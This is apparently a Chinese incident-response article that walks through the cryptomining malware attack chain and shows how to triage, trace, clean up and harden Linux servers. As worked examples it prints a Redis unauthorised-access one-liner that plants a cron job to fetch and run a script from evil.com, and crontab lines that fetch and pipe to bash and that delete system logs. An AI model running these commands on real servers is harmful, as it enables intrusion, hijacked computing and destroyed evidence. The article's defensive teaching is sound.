ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

挖矿木马攻击链拆解与实战应急排查指南

挖矿木马攻击链拆解与实战应急排查指南 先说点实际的。这几年做安全应急响应我经手的挖矿木马事件少说也有上百起从单台云主机被种了xmrig到整个K8s集群被批量植入再到内网几百台机器同时飙CPU什么花样都见过。挖矿木马这个玩意儿说它技术含量高吧很多攻击链糙得不行就是拿着扫描器全网扫弱口令说它没技术含量吧它在持久化和隐藏上的手段又层出不穷从改进程名到挂Rootkit能把人折腾到怀疑人生。这篇文章我想把挖矿木马这条完整的攻击链从头到尾拆一遍再把我平时做溯源排查的实战方法整理出来。内容不是教科书式的理论全是现场应急时真正能用上的东西。不管你是在甲方做安全运维还是自己扛着几台服务器的小站长这篇文章都值得花十分钟读完——至少下次机器变卡的时候你知道该从哪里下手查。1. 攻击链全景挖矿木马是怎么一步步吃掉你的服务器1.1 攻击链的六个阶段从扫描到变现的完整闭环挖矿木马虽然品类繁多但只要把样本摊开看攻击链基本都遵循同一个套路。我习惯把它拆成六个阶段扫描探测、漏洞利用或口令爆破、载荷投放、持久化驻留、隐藏与对抗、挖矿与变现。扫描探测这一步攻击者手里通常握着几万条IP段的存活清单用Masscan、Zmap这类工具全端口扫再配合Nuclei、Goby做指纹识别。目标很明确Redis未授权、Docker API暴露、K8s kubelet未认证、Weblogic/Log4j这类RCE漏洞、SSH/MySQL等弱口令哪个好打打哪个。这一步本身没什么技术含量纯粹拼的是资产暴露面大小。漏洞利用或口令爆破成功后攻击者会通过反弹Shell、命令注入等方式拿到系统控制权。紧接着就是载荷投放——把挖矿主程序、挖矿配置、持久化脚本从远端下载到本地。下载方式就那么几种wget、curl、python的urllib甚至直接用echo写base64解码落地。有意思的是很多攻击脚本会先关闭安全软件再设置iptables规则屏蔽常见安全厂商的IP动作之熟练让人怀疑他们是不是把安全运维手册背下来了。持久化驻留和隐藏对抗是这支攻击链里最磨人的环节后面我会专门用一章展开讲。最后才是挖矿与变现矿机程序连上矿池开始贡献算力算力进了攻击者的钱包地址。这里的收益逻辑很简单不是你的机器电费你不用管纯利。1.2 为什么挖矿木马是黑产最爱低风险、高隐蔽、稳定变现我在很多场合说过挖矿木马是网络犯罪里性价比最高的生意之一它的优势集中在三点。第一是低风险。比起勒索软件和窃密木马挖矿木马不直接偷用户数据不触发法律的红线即使被发现了很多企业也就是把矿挖掉、杀个毒、改个密码就完事很少会正式报案。这意味着攻击者的犯罪成本极低。第二是高隐蔽。只要控制好CPU占用率有的木马会把占用率钉在50%以下再配合进程伪装业务不受影响时压根没人发现。我遇到过一台跑了三个月矿的数据库服务器CPU一直飙在90%以上但DBA以为是慢查询太多硬是没往挖矿上面想。第三是稳定变现。加密货币的行情波动虽然大但整体向好时一个千台规模的中马僵尸网络月收益相当可观。我见过一个攻击者的钱包地址累计入账的币值折合下来超过百万而他的投入可能只是几台VPS和一套扫描脚本的钱。这三重优势叠加决定了挖矿木马会成为各类攻击事件里占比最高的一类。也正因为如此掌握它的攻击链和溯源方法就成了安全从业者的基本功。2. 入侵阶段拆解攻击者最常用哪几扇门2.1 弱口令与未授权访问永远排在第一位的入口从业这么多年我可以很负责任地说挖矿木马入侵最常见的通道不是0day而是弱口令和未授权访问。什么防火墙关得死死的、WAF规则堆了一堆结果Redis直接裸奔在公网6379端口上连密码都没设这种人我见得太多了。Redis未授权是个经典到不能再经典的入口。攻击者只需要一条命令就能写入crontabredis-cli -h target_ip -p 6379 config set dir /var/spool/cron/ config set dbfilename root set x \n* * * * * /usr/bin/curl -fsSL http://evil.com/x.sh | sh\n save原理是利用Redis持久化机制把恶意定时任务写进crontab文件。根用户被执行后curl拉下来的脚本就开始工作了。整个过程两三秒就能完成而很多运维压根没检查过Redis的绑定地址和密码配置。SSH弱口令爆破同样居高不下攻击者用SSH进行字典攻击密码本里躺着一堆admin、123456、root/123456789这类组合。爆破成功后的动作通常是下载脚本、写入crontab、安装Rootkit一气呵成。我统计过自己处理的事件SSH弱口令和Redis未授权这两个入口占了总数的六成以上。所以给读者一个最朴素的建议别急着装各种花里胡哨的安全产品先把你的端口暴露面收敛了把默认密码改了挖矿木马的路就断了一半。2.2 漏洞利用与供应链投毒高价值目标的入侵路径弱口令是广撒网漏洞利用则是精准打击。这几年挖矿木马团伙盯上的漏洞有明显偏好Log4j2的JNDI注入、Weblogic的反序列化、Confluence的OGNL注入、Spring的SpEL表达式注入每一个都是当年的核弹级漏洞漏洞公布后数小时内就有人将其加入挖矿木马的利用链。我印象最深的是Log4j2漏洞爆发那阵子一个客户的内网办公系统被植入了挖矿程序。追溯下来攻击者先是通过公网暴露的Web系统触发了JNDI注入拿到内网权限后迅速下载矿机还顺手在内网横向扫了一遍。处理这种事件难点不在清除木马本身而在排查利用链的其他后门——很多攻击者在植入挖矿程序的同时还会埋SSH公钥、写Webshell留着这些后门随时准备回来。溯源时如果只清矿不堵后门等于白干。供应链投毒的案例这两年也在上升具体手法是往公共依赖库里上传伪装成正常组件的恶意包。比如PyPI上出现过不少名字跟知名库非常相似的挖矿包开发者pip install的时候稍不注意就中招了。这类攻击的前置渗透成本很低但受害面扩散极快。识别供应链投毒核心靠的是对依赖包的校验和比对以及关注安全社区对恶意包的通报。2.3 一条完整入侵路径的还原从扫描到上线只需三分钟讲点真实的。有一次客户报障说一台闲置的测试服务器CPU报警top看起来有两个进程名字很陌生。我们登上去一看就是非常典型的SSH弱口令入侵。还原时间线大概是这样的攻击者扫描发现该服务器22端口开放于是在凌晨2点开始跑密码字典用root/test123这种弱口令在2点47分成功登录。登录后第一条命令是whoami确认权限然后curl下载了x.sh到/tmp目录chmod x后执行。这个x.sh就是整套攻击链的核心脚本它先关闭了云盾进程然后往crontab写入三条定时任务分别对应下载器、矿机守护进程、日志清理最后拉取了实际的矿机二进制文件开始挖矿。整个从爆破成功到矿机上线不到三分钟。这个案例我每次培训都会讲因为它太有代表性了不涉及任何高深漏洞攻击者的耐心和自动化程度却高得惊人。如果你的服务器公网暴露了SSH或Redis等端口又没用强密码那么被攻击只是在时间早晚的问题。3. 持久化与隐藏木马在系统里的生存术3.1 持久化手段三板斧定时任务、服务自启、文件替换挖矿木马做完入侵后的第一件事不是急着开挖而是确保自己能长期存活。持久化工具里crontab是使用率最高的。写入的定时任务五花八门有的是整点执行一次下载脚本有的是每五分钟检测矿机进程是否存在、不存在就重新拉起来还有的会设置一个消毒任务定时清理日志。*/5 * * * * (curl -fsSL http://evil.com/update.sh || wget -q -O- http://evil.com/update.sh) | bash 0 3 * * * rm -rf /var/log/messages /var/log/secure第二种常见持久化是systemd服务。攻击者在/lib/systemd/system/下放一个看起来人畜无害的服务文件比如systemd-update.serviceExecStart指向的却是矿机脚本然后systemctl enable把它设成开机自启。这种方式比crontab更隐蔽因为很多管理员会用systemctl list-units查服务但一眼扫过去几十个服务名很难注意到那个陌生的名字。第三种是文件替换和启动脚本注入。比如修改/etc/rc.local、/etc/profile.d/下的脚本或者在/root/.bashrc里追加一段自动执行逻辑。还有更狠的直接把系统二进制文件替换成带恶意逻辑的同名文件管理员执行ls、ps的时候木马趁机完成二次加载。处理这种攻击时必须用rpm -V或者校验原始文件hash只靠肉眼根本看不出问题。3.2 隐藏技术的进阶玩法进程伪装、Rootkit与日志清理如果只是扔一个xmrig在/tmp下跑那这个木马团伙基本属于入门级。我见过的高级隐藏手段一个比一个让人头疼。进程伪装这块攻击者最常用的就是把矿机进程名改成跟系统进程相似的名字。kdevtmpfsi这个老牌挖矿木马的名字就是典型乍一看像内核设备驱动还有的直接把进程改名为[kworker]、[watchdog]这类带方括号的内核线程样式用ps -ef一眼扫过去几乎不会起疑。更讲究一点的团伙会修改挖矿程序的源码让它在进程列表里显示为sshd或者nginx配合服务端口一起伪装admin不动用网络排查根本发现不了。信息隐藏技术层面文件属性隐藏算最基础的——把恶意脚本的权限设为700owner设为root再用chattr i锁定文件防止被删改。脚本内容有的做了base64编码隐藏有的用混淆器绕过多引擎查杀。我见过一个下载脚本先是base64解码出一段二进制再通过/dev/shm写入内存执行全程不落地磁盘给取证增加不少难度。真正让人头疼的是Rootkit级别的隐藏。简单的用LD_PRELOAD劫持libc的readdir、getdents函数让ls看不到指定文件高级的直接加载内核模块LKM直接hook系统调用ps、netstat、top看到的全是干净的视图。对付这种隐藏普通命令是无效的必须用busybox这种静态编译的工具或者挂载Live CD进系统排查再用unhide等工具检测内核级的异常。日志清理更是标准动作。攻击者拿到权限后会执行history -c清除~/.bash_history然后删掉/var/log/secure里自己IP登录成功的记录段有的还会在crontab里内置周期性日志粉碎任务。溯源时如果只盯着被清理过的日志很容易断线。这也是为什么我一直建议企业在服务器上部署独立的日志采集系统比如rsyslog远端转发把日志实时同步到安全设备上攻击者删了本机日志也拿你没办法——这是花小钱解决大问题的典型。4. 实战溯源方法现场排查的完整流程4.1 第一反应如何快速确认是不是挖矿木马服务器变卡、CPU飙高别急着重启先做一轮快速判断。挖矿木马有几个标志性特征命中两三条基本就能定性了。CPU和负载异常是最直接的表象。top一下看进程列表如果有一个不认识的进程吃掉了大量CPU先记住它的PID。挖矿程序是计算密集型的CPU占用率通常稳定在100%以上这个特征和普通业务突刺完全不同。网络连接异常也很典型。用ss -antp查看外联连接挖矿木马会持续和矿池通信。矿池协议的痕迹比较特殊比如连接stratumtcp协议的端口常见的是3333、4444、5555、7777这些或者流量呈现明显的周期性心跳特征。再一个标志是域名解析很多木马会请求一个随机生成的域名来获取矿池地址DNS记录TTL设置得极短。还有一个容易被忽略的特征是文件命名。恶意脚本习惯性放在/tmp、/dev/shm、/var/tmp、/usr/tmp这类可写目录文件名往往是随机字符串、或者伪装成系统更新脚本。我遇到过客户在/tmp下发现一个叫watchdog的文件权限是777一看就有问题后来确认是守护进程脚本。快速判断阶段的目标不是完整清除而是先确认中了什么毒、影响面多大。这个过程控制在10分钟以内比较合理为后续的深入排查留出时间。4.2 三维定位法进程、网络、文件联合排查确认中了挖矿木马后别急着kill进程先做完整的三维信息采集。这个过程是溯源的黄金窗口一旦杀了进程很多线索就断了。进程维度核心是拿到进程的完整视图。用ls -l /proc/PID/exe查看可执行文件的真实路径用cat /proc/PID/cmdline查看启动参数用cat /proc/PID/environ查看环境变量。这些信息能告诉你木马从哪里来、以什么方式启动。比如/proc/PID/cwd指向目录如果是木马自己创建的路径那就顺着找如果指向某个正常业务目录说明可能是WebShell或者漏洞利用写入的。网络维度优先看外联。ss -antp里的每一个外联IP都要记录随后用IP情报库查这些IP的历史行为。矿池IP一般是国外的VPS或IDC机房IP通过威胁情报平台能查到标记为mining或malicious的标签。还要检查监听端口有的木马会监听一个高位端口做C2通道给后面的清理埋雷。文件维度围绕进程的可执行文件路径做地毯式排查。查看同目录下还有哪些文件检查文件时间戳stat命令能拿到atime、mtime、ctime关注那些在入侵时间窗口前后被创建或修改的文件。用find / -mtime -N -type f查最近N天被修改的文件列表再配合查/root/.bash_history、/var/log/secure等日志往往能拼出一条完整的时间线。# 一个比较实用的排查命令组合 cat /proc/$(pidof xmrig)/exe # 找真实二进制路径 ss -antp | grep -v LISTEN # 找外联连接 find /tmp /dev/shm /var/tmp -type f -mtime -7 -exec ls -lh {} \; # 找最近可疑文件 history cat /root/.bash_history 2/dev/null # 看攻击者敲过什么命令4.3 日志审计与时间线还原把攻击者的路径走一遍三维定位做完之后就该做日志审计了目的是把攻击者的入侵路径完整还原出来。这一步是区分会排查和认真做溯源的关键。日志要重点看几个SSH日志/var/log/secure或auth.log能看出爆破来源IP和登录成功时间cron日志/var/log/cron能看出定时任务是什么时候被写入的系统消息日志/var/log/messages往往有异常下载、执行的痕迹。如果服务器有Web服务还要翻Web访问日志重点找POST类型的请求和带命令执行特征的URL参数。时间线还原时我习惯用表格把零散的信息串起来。比如时间事件证据来源03:14:22来自1.2.3.4的SSH爆破成功auth.log03:14:23root用户执行whoamibash_history03:15:05curl下载/x.shcron日志中的下载行为03:16:40crontab写入恶意任务crontab -l03:17:12矿机进程上线进程启动时间对着时间线你会发现整个攻击过程通常压缩在十分钟以内。这也说明攻击者的入侵脚本高度自动化从爆破到上线不需要人肉操作。做完了时间线和入口定位下一步才进入清除阶段这时候你对整个环境的理解已经比刚开始深了一个量级。5. 样本分析与威胁情报从单个木马挖出背后的攻击团伙5.1 静态分析的高效切入点脚本拆开看逻辑、二进制看特征溯源更深一层是样本分析。很多应急响应人员拿到恶意样本后第一反应是交到沙箱里跑但沙箱结果只能告诉你它做了什么不能告诉你它是谁做的。真正的样本分析要看逻辑和特征。恶意脚本一定要完整读一遍。下载的shell脚本通常不过几十行但里面浓缩了攻击者的全部习惯。看它从哪个域名下载文件、用哪些路径写文件、往crontab写什么任务、杀哪些进程、删哪些日志——这些行为特征构成了攻击者的指纹。比如某团伙的脚本喜欢用nohup启动矿机并丢弃输出另一个团伙喜欢用setsid脱离终端这些细节在关联归因时非常有用。二进制样本的分析可以先做最省力的静态信息提取跑一下strings命令看可执行文件里暴露的矿池地址、钱包地址、编译路径用file命令看架构和打包方式UPX压缩壳在挖矿样本里很常见再用readelf或hexdump看ELF头是否被刻意修改过有的样本会篡改魔数来逃避简单检测。如果样本带了数字签名证书查一下证书的签发者也是个快速筛查手段。分析过程中要时刻记住一个原则样本不是孤立存在的。同一个攻击者会复用相同的钱包地址、下载域名、恶意脚本模板。你把钱包地址往区块链浏览器里一搜所有连到这个钱包的算力都指向同一个犯罪主体这比分析单个样本本身重要得多。5.2 威胁情报关联钱包地址、C2域名、样本HASH组成的证据链把溯源结果沉淀成威胁情报是让单次应急产生长期价值的关键一步。具体做法是提取IOC失陷指标形成一份可供后续检测的情报清单。IOC分几个层次。最基础的是一级IOC恶意文件HASH、恶意域名、恶意IP。比如矿机二进制的MD5、SHA256下载脚本的URL矿池的IP和端口。再往上是行为IOC异常crontab内容、特定路径下的文件名、矿机的连接特征。把这些情报整理成结构化数据后可以喂给EDR、防火墙、IDS等设备做整体排查看还有没有其他机器命中同样的指标。我在实战中最常用的一种关联方式是钱包地址溯源把矿机配置文件里的钱包地址拿到区块链浏览器搜一下能看到这个地址创建时间、累计交易、收到的算力规模。顺着钱包地址再去威胁情报平台反向搜部分平台支持按钱包地址关联样本一下子能拉出一批同一个犯罪团伙控制的矿机样本。至此你手里的证据链就从一台服务器被入侵扩展到了一个挖矿黑产团伙的全貌。这种分析和关联能力才是安全应急响应里最值钱的部分。6. 清理、加固与常见坑把这些坑踩完你也能写应急手册6.1 彻底清除的先后顺序先断网、再清点、后修复清理挖矿木马看似简单但顺序搞错容易把系统搞崩或者清理不干净导致反复被植入。我的推荐顺序是先断外联、再杀进程、清文件、堵入口、做加固。断外联不是让你拔网线而是先在防火墙上把矿池IP和C2域名封掉。这样虽然矿机还在跑但它已经无法连接矿池不会再产生收益同时它也无法从C2接收新指令。封堵建议同时做两层iptables封IP以及DNS层面把恶意域名解析指向黑洞。杀进程要按批次来。先kill掉守护进程再kill挖矿主进程避免守护进程死循环拉起新进程。很多木马跑了一个进程对一个负责挖矿一个负责守护你杀一个另一个立刻把它拉起来。正确做法是同时kill或者先改掉守护进程的文件名、让它的重启逻辑失效。清文件时连带清理所有相关联的文件不要只删主程序。我见过有人kill了xmrig进程、删了二进制结果忘了清crontab里的下载任务重启后一分钟内矿机又回来了。堵入口是清理之后立即要做的事修改所有口令为强口令、关闭不需要的端口、升级有漏洞的组件。你要是只清理不修复攻击者随时可能用同一扇门再进来。最后是做加固这里给一个小建议在所有关键服务器上部署fail2ban任何密码爆破都会在几次失败后被ban掉IP这个工具的性价比在防爆破场景里是最高的。6.2 常见误判与排查技巧写给每一个应急小白做了这么多年应急总结几个新人最容易踩的坑。第一个坑把业务进程误判为挖矿进程。Java应用和某些大数据组件比如Elasticsearch的段合并在高峰期也会吃满CPU。杀进程前一定要看清/proc/PID/exe路径确认不是业务的二进制。我踩过一次一台跑批服务器CPU飙到100%我差点把跑批程序当矿杀了后来看exe路径才发现是正常业务真杀了就是事故。第二个坑忽略挖矿木马的复活机制。前面提过很多木马有守护进程和多重持久化。清理后至少观察24小时持续检查CPU和crontab是否有异常确认没有复活才算是清理完成。有经验的处置人员还会在清理后专门留一个低权限的蜜标文件用来观察是否有攻击者回来重植。第三个坑只处理单机不做全网排查。挖矿木马经常通过内网横向移动传播中了矿的机器可能只是个跳板内网还有别的机器已经被感染。处理完一台后要用IOC在内网全面扫描一遍用EDR也好、用脚本批量检查也好总之不能让漏网的机器继续做火种。第四个坑忽略取证。应急响应和事故调查是两回事。如果是合规要求较高的企业kill进程、删文件会破坏证据最好先做内存镜像和磁盘镜像再动手。普通环境至少要把关键文件备份留档别把样本一删了之后续做进一步分析就没素材了。排查技巧上我再分享一个我常用的高效组合拳用busybox提供的干净命令替代系统命令检查避免被Rootkit欺骗用ss -antp而不是netstat前者读取内核信息更直接被hook的概率更低任何可疑文件先跑一遍file、strings、md5sum再决定下一步动作。把这几条内化成习惯你的应急效率会有一个明显的提升。我个人在实际操作中最深的体会是挖矿木马攻击链的前半段入侵、投放其实很难防出花样真正拉开安全水位差距的是后半段——持久化和隐藏对抗。你在日常运维中能花多少心思做好最小权限、日志外发、基线变更监控决定了事情发生后你是花一小时搞定还是花一周折腾。希望这篇拆解能给你一些启发下次再听到服务器有点卡你至少有思路知道从哪里开始查起。
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进